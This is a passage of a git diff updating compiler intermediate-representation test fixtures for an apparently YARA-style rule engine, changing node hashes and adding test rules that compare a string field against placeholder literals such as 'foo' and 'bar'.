0, ty: integer, index: 10 }, type_value: integer(unknown) } 22: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 26 }, type_value: integer(unknown) } 31: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 19 }, type_value: integer(unknown) } - 49: LT -- hash: 0xa56267adab3b97af - 38: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xd0b37398e4eea874 - 37: ADD -- hash: 0xf0090450afb43658 + 49: LT -- hash: 0x74b10c45350b872a + 38: FN_CALL uint32@offset:i64@u32u -- hash: 0xb57b76aa18cfb6b + 37: ADD -- hash: 0xa0748fbe6c877a64 35: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 11 }, type_value: integer(unknown) } 36: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 26 }, type_value: integer(unknown) } 48: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 20 }, type_value: integer(unknown) } diff --git a/lib/src/compiler/ir/tests/testdata/12.ir b/lib/src/compiler/ir/tests/testdata/12.ir index bdb7e7536..604edddc4 100644 --- a/lib/src/compiler/ir/tests/testdata/12.ir +++ b/lib/src/compiler/ir/tests/testdata/12.ir @@ -1,39 +1,39 @@ RULE test - 54: FOR_IN -- hash: 0xb3907652e47beb80 + 54: FOR_IN -- hash: 0x6d45cb32d9ea9eb3 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: array, index: 4 } - 2: FIELD_ACCESS -- hash: 0xab4f8283c0e53bfa + 2: FIELD_ACCESS -- hash: 0xcf987f52a1e0bd55 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 56, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 53: AND -- hash: 0x4d8c6ca7f7b038e9 - 12: FOR_OF -- hash: 0x2f22787ddf2a05e8 + 53: AND -- hash: 0x42900a3aeb083b92 + 12: FOR_OF -- hash: 0x9a5b11d83b5b64b4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: integer, index: 11 } - 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0xe11c4fde46b8d594 - 5: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0x1dcb5a9100c2e480 + 5: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 3: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 4: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 10: ADD -- hash: 0xe49ed0540b890623 - 8: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 10: ADD -- hash: 0x2bffe834c6cc14b8 + 8: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 6: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 7: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(512) - 52: FOR_IN -- hash: 0x603a22daabc68 + 52: FOR_IN -- hash: 0x5906d56554c5c501 n: Var { frame_id: 3, ty: integer, index: 7 } i: Var { frame_id: 3, ty: integer, index: 8 } max_count: Var { frame_id: 3, ty: integer, index: 9 } count: Var { frame_id: 3, ty: integer, index: 10 } item: Var { frame_id: 3, ty: array, index: 11 } - 15: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 15: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 51: FOR_IN -- hash: 0x9a65469129227a90 + 51: FOR_IN -- hash: 0xc1838b47516a4956 n: Var { frame_id: 4, ty: integer, index: 14 } i: Var { frame_id: 4, ty: integer, index: 15 } max_count: Var { frame_id: 4, ty: integer, index: 16 } @@ -42,34 +42,34 @@ RULE test 16: CONST integer(100) 17: CONST integer(0) 18: CONST integer(4096) - 50: AND -- hash: 0x1b1a568f17bcf825 - 32: GE -- hash: 0xcf54ff2b85c632e4 - 24: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x16ed736c1a4b50dd - 23: ADD -- hash: 0x4ff11ce819e3968 - 21: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 50: AND -- hash: 0x2f221797a9f13d87 + 32: GE -- hash: 0x64476e73b1489159 + 24: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 23: ADD -- hash: 0xefb9fcd880da574d + 21: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 19: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 20: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 22: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 31: ADD -- hash: 0x6a69741994d76af9 - 27: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 31: ADD -- hash: 0x4f3f374355f945b5 + 27: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 30: FIELD_ACCESS -- hash: 0x7869638c32afd7cb + 30: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 28: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 29: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 49: LT -- hash: 0xc658c8b2d714ed97 - 38: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0x16ed736c1a4b50dd - 37: ADD -- hash: 0x4ff11ce819e3968 - 35: FIELD_ACCESS -- hash: 0x4e507ee934802418 + 49: LT -- hash: 0x2fc79bcacd84509c + 38: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 37: ADD -- hash: 0xefb9fcd880da574d + 35: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 33: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 34: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 36: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 48: BITWISE_AND -- hash: 0x6d24fb1623e66cd1 - 45: ADD -- hash: 0x6a69741994d76af9 - 41: FIELD_ACCESS -- hash: 0xe05931a42eb94c5e + 48: BITWISE_AND -- hash: 0x219a0b50be8ec776 + 45: ADD -- hash: 0x4f3f374355f945b5 + 41: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 39: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 40: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 44: FIELD_ACCESS -- hash: 0x7869638c32afd7cb + 44: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 42: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 43: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 47: CONST integer(-4096) diff --git a/lib/src/compiler/ir/tests/testdata/12.no-folding.ir b/lib/src/compiler/ir/tests/testdata/12.no-folding.ir index 975082044..92babbf2a 100644 --- a/lib/src/compiler/ir/tests/testdata/12.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/12.no-folding.ir @@ -1,39 +1,39 @@ RULE test - 54: FOR_IN -- hash: 0x6562ad64044ad6f + 54: FOR_IN -- hash: 0x2e02635260df2cac n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: array, index: 4 } - 2: FIELD_ACCESS -- hash: 0x46c662e9e5c5cbcf + 2: FIELD_ACCESS -- hash: 0xcf987f52a1e0bd55 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 56, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 53: AND -- hash: 0x650be43b12ef174 - 12: FOR_OF -- hash: 0x8931dd42d26d892 + 53: AND -- hash: 0x87b75716b07bc1b2 + 12: FOR_OF -- hash: 0x9a5b11d83b5b64b4 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } count: Var { frame_id: 2, ty: integer, index: 10 } item: Var { frame_id: 2, ty: integer, index: 11 } - 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0xe05e27098b7a923a - 5: FIELD_ACCESS -- hash: 0x8d08a0d4fb4c25d7 + 11: PATTERN_MATCH Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } IN -- hash: 0x1dcb5a9100c2e480 + 5: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 3: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 4: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 10: ADD -- hash: 0xc28a65d98fa3a2d4 - 8: FIELD_ACCESS -- hash: 0x8d08a0d4fb4c25d7 + 10: ADD -- hash: 0x2bffe834c6cc14b8 + 8: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 6: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 7: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(512) - 52: FOR_IN -- hash: 0xc59b67cefb89d1a6 + 52: FOR_IN -- hash: 0x5ae60807ce7d143d n: Var { frame_id: 3, ty: integer, index: 7 } i: Var { frame_id: 3, ty: integer, index: 8 } max_count: Var { frame_id: 3, ty: integer, index: 9 } count: Var { frame_id: 3, ty: integer, index: 10 } item: Var { frame_id: 3, ty: array, index: 11 } - 15: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 15: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 51: FOR_IN -- hash: 0x65cbea1307c02504 + 51: FOR_IN -- hash: 0xaabaa64ab89cd305 n: Var { frame_id: 4, ty: integer, index: 14 } i: Var { frame_id: 4, ty: integer, index: 15 } max_count: Var { frame_id: 4, ty: integer, index: 16 } @@ -42,36 +42,36 @@ RULE test 16: CONST integer(100) 17: CONST integer(0) 18: CONST integer(4096) - 50: AND -- hash: 0xdeeb1395c64c92cc - 32: GE -- hash: 0xe5c0d20558fc0fb2 - 24: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xafbedd68e503f7f1 - 23: ADD -- hash: 0x47a7b46d42b6b5ab - 21: FIELD_ACCESS -- hash: 0x8d08a0d4fb4c25d7 + 50: AND -- hash: 0x46ef5a36732bebf0 + 32: GE -- hash: 0x64476e73b1489159 + 24: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 23: ADD -- hash: 0xefb9fcd880da574d + 21: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 19: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 20: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 22: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 31: ADD -- hash: 0xedcebbb45d332fa1 - 27: FIELD_ACCESS -- hash: 0x7bd0120a5399dc33 + 31: ADD -- hash: 0x4f3f374355f945b5 + 27: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 30: FIELD_ACCESS -- hash: 0xb7218577f57bd98a + 30: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 28: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 29: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 49: LT -- hash: 0x2182ad0a91bf486c - 38: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xafbedd68e503f7f1 - 37: ADD -- hash: 0x47a7b46d42b6b5ab - 35: FIELD_ACCESS -- hash: 0x8d08a0d4fb4c25d7 + 49: LT -- hash: 0xbe9fa05526e01f8b + 38: FN_CALL uint32@offset:i64@u32u -- hash: 0x9cbcfce6454b5931 + 37: ADD -- hash: 0xefb9fcd880da574d + 35: FIELD_ACCESS -- hash: 0x588f6f8b1620161e 33: SYMBOL Var { var: Var { frame_id: 1, ty: struct, index: 5 }, type_value: struct } 34: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 36: SYMBOL Var { var: Var { frame_id: 4, ty: integer, index: 19 }, type_value: integer(unknown) } - 48: BITWISE_AND -- hash: 0xf7503c76a31a10d9 - 45: ADD -- hash: 0xedcebbb45d332fa1 - 41: FIELD_ACCESS -- hash: 0x7bd0120a5399dc33 + 48: BITWISE_AND -- hash: 0xe394bdd6d6704d4c + 45: ADD -- hash: 0x4f3f374355f945b5 + 41: FIELD_ACCESS -- hash: 0x4a22e730fb4cdba 39: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 40: SYMBOL Field { index: 11, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 44: FIELD_ACCESS -- hash: 0xb7218577f57bd98a + 44: FIELD_ACCESS -- hash: 0x82a8542e104fc9d1 42: SYMBOL Var { var: Var { frame_id: 3, ty: struct, index: 12 }, type_value: struct } 43: SYMBOL Field { index: 5, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 47: BITWISE_NOT -- hash: 0x4c88c08fe7b24882 + 47: BITWISE_NOT -- hash: 0x8346849cc3ca3c9d 46: CONST integer(4095) diff --git a/lib/src/compiler/ir/tests/testdata/13.cse.ir b/lib/src/compiler/ir/tests/testdata/13.cse.ir index 5d8c81116..47e854205 100644 --- a/lib/src/compiler/ir/tests/testdata/13.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/13.cse.ir @@ -1,45 +1,86 @@ RULE test_1 - 5: CONTAINS -- hash: 0x6cf3f481c6c2a8f5 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: CONTAINS -- hash: 0xdc03ce768142f957 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_2 - 5: ICONTAINS -- hash: 0x7d6dc3d8f969c115 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: ICONTAINS -- hash: 0xec7d9dcdb7ea1177 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_3 - 16: OR -- hash: 0x5ab1605c802edf6b - 15: MATCHES_MANY RegexSetId(0) -- hash: 0x3c6728168e1bb284 - 7: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 16: OR -- hash: 0x4ad979741f3c45f5 + 15: MATCHES_MANY RegexSetId(0) -- hash: 0x60b024e56f1733df + 7: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_4 - 10: MATCHES_MANY RegexSetId(1) -- hash: 0x3c6728168e1bb284 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: MATCHES_MANY RegexSetId(1) -- hash: 0x60b024e56f1733df + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } RULE test_5 - 10: OR -- hash: 0xb05e2359598bbe0c - 4: MATCHES -- hash: 0x8c711a96a899321e - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: OR -- hash: 0xc6709ab4a35e8906 + 4: MATCHES -- hash: 0xfb80f48b67198280 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 3: CONST regexp(Regexp("/foo.bar/")) - 9: MATCHES -- hash: 0xfc728e04038b39b7 - 7: FIELD_ACCESS -- hash: 0x3edc21ca56e97069 + 9: MATCHES -- hash: 0x6b8267f8be0b8a1a + 7: FIELD_ACCESS -- hash: 0x63251e9937e4f1c4 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 37, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 8: CONST regexp(Regexp("/bar.baz/")) +RULE test_6 + 10: EQ_MANY LiteralSetId(0) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + +RULE test_7 + 88: OR -- hash: 0xdd793418c15b1736 + 80: EQ_MANY LiteralSetId(1) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 81: IEQUALS_MANY LiteralSetId(2) -- hash: 0x7474d539347a7c32 + 12: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 10: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 11: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 82: CONTAINS_MANY LiteralSetId(3) -- hash: 0xfe572d631b2c205b + 22: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 20: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 21: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 83: ICONTAINS_MANY LiteralSetId(4) -- hash: 0x8839858cfdddc485 + 32: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 30: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 31: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 84: STARTS_WITH_MANY LiteralSetId(5) -- hash: 0x121bddb6e08f68af + 42: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 40: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 41: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 85: ISTARTS_WITH_MANY LiteralSetId(6) -- hash: 0x9bfe35e0c7410cd8 + 52: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 50: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 51: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 86: ENDS_WITH_MANY LiteralSetId(7) -- hash: 0x25e08e0aa9f2b102 + 62: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 60: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 61: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 87: IENDS_WITH_MANY LiteralSetId(8) -- hash: 0xafc2e6348ca4552b + 72: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 70: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 71: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + diff --git a/lib/src/compiler/ir/tests/testdata/13.hoisting.ir b/lib/src/compiler/ir/tests/testdata/13.hoisting.ir index 5d8c81116..47e854205 100644 --- a/lib/src/compiler/ir/tests/testdata/13.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/13.hoisting.ir @@ -1,45 +1,86 @@ RULE test_1 - 5: CONTAINS -- hash: 0x6cf3f481c6c2a8f5 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: CONTAINS -- hash: 0xdc03ce768142f957 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_2 - 5: ICONTAINS -- hash: 0x7d6dc3d8f969c115 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: ICONTAINS -- hash: 0xec7d9dcdb7ea1177 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_3 - 16: OR -- hash: 0x5ab1605c802edf6b - 15: MATCHES_MANY RegexSetId(0) -- hash: 0x3c6728168e1bb284 - 7: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 16: OR -- hash: 0x4ad979741f3c45f5 + 15: MATCHES_MANY RegexSetId(0) -- hash: 0x60b024e56f1733df + 7: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_4 - 10: MATCHES_MANY RegexSetId(1) -- hash: 0x3c6728168e1bb284 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: MATCHES_MANY RegexSetId(1) -- hash: 0x60b024e56f1733df + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } RULE test_5 - 10: OR -- hash: 0xb05e2359598bbe0c - 4: MATCHES -- hash: 0x8c711a96a899321e - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: OR -- hash: 0xc6709ab4a35e8906 + 4: MATCHES -- hash: 0xfb80f48b67198280 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 3: CONST regexp(Regexp("/foo.bar/")) - 9: MATCHES -- hash: 0xfc728e04038b39b7 - 7: FIELD_ACCESS -- hash: 0x3edc21ca56e97069 + 9: MATCHES -- hash: 0x6b8267f8be0b8a1a + 7: FIELD_ACCESS -- hash: 0x63251e9937e4f1c4 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 37, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 8: CONST regexp(Regexp("/bar.baz/")) +RULE test_6 + 10: EQ_MANY LiteralSetId(0) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + +RULE test_7 + 88: OR -- hash: 0xdd793418c15b1736 + 80: EQ_MANY LiteralSetId(1) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 81: IEQUALS_MANY LiteralSetId(2) -- hash: 0x7474d539347a7c32 + 12: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 10: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 11: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 82: CONTAINS_MANY LiteralSetId(3) -- hash: 0xfe572d631b2c205b + 22: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 20: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 21: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 83: ICONTAINS_MANY LiteralSetId(4) -- hash: 0x8839858cfdddc485 + 32: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 30: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 31: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 84: STARTS_WITH_MANY LiteralSetId(5) -- hash: 0x121bddb6e08f68af + 42: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 40: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 41: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 85: ISTARTS_WITH_MANY LiteralSetId(6) -- hash: 0x9bfe35e0c7410cd8 + 52: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 50: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 51: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 86: ENDS_WITH_MANY LiteralSetId(7) -- hash: 0x25e08e0aa9f2b102 + 62: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 60: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 61: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 87: IENDS_WITH_MANY LiteralSetId(8) -- hash: 0xafc2e6348ca4552b + 72: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 70: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 71: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + diff --git a/lib/src/compiler/ir/tests/testdata/13.in b/lib/src/compiler/ir/tests/testdata/13.in index 1aeb654ec..21335a584 100644 --- a/lib/src/compiler/ir/tests/testdata/13.in +++ b/lib/src/compiler/ir/tests/testdata/13.in @@ -27,4 +27,30 @@ rule test_5 { condition: test_proto2.string_foo matches /foo.bar/ or test_proto2.string_bar matches /bar.baz/ +} + +rule test_6 { + condition: + test_proto2.string_foo == "foo" or + test_proto2.string_foo == "bar" +} + +rule test_7 { + condition: + test_proto2.string_foo == "foo" or + "bar" == test_proto2.string_foo or + test_proto2.string_foo iequals "baz" or + "qux" iequals test_proto2.string_foo or + test_proto2.string_foo contains "quux" or + test_proto2.string_foo contains "corge" or + test_proto2.string_foo icontains "grault" or + test_proto2.string_foo icontains "garply" or + test_proto2.string_foo startswith "waldo" or + test_proto2.string_foo startswith "fred" or + test_proto2.string_foo 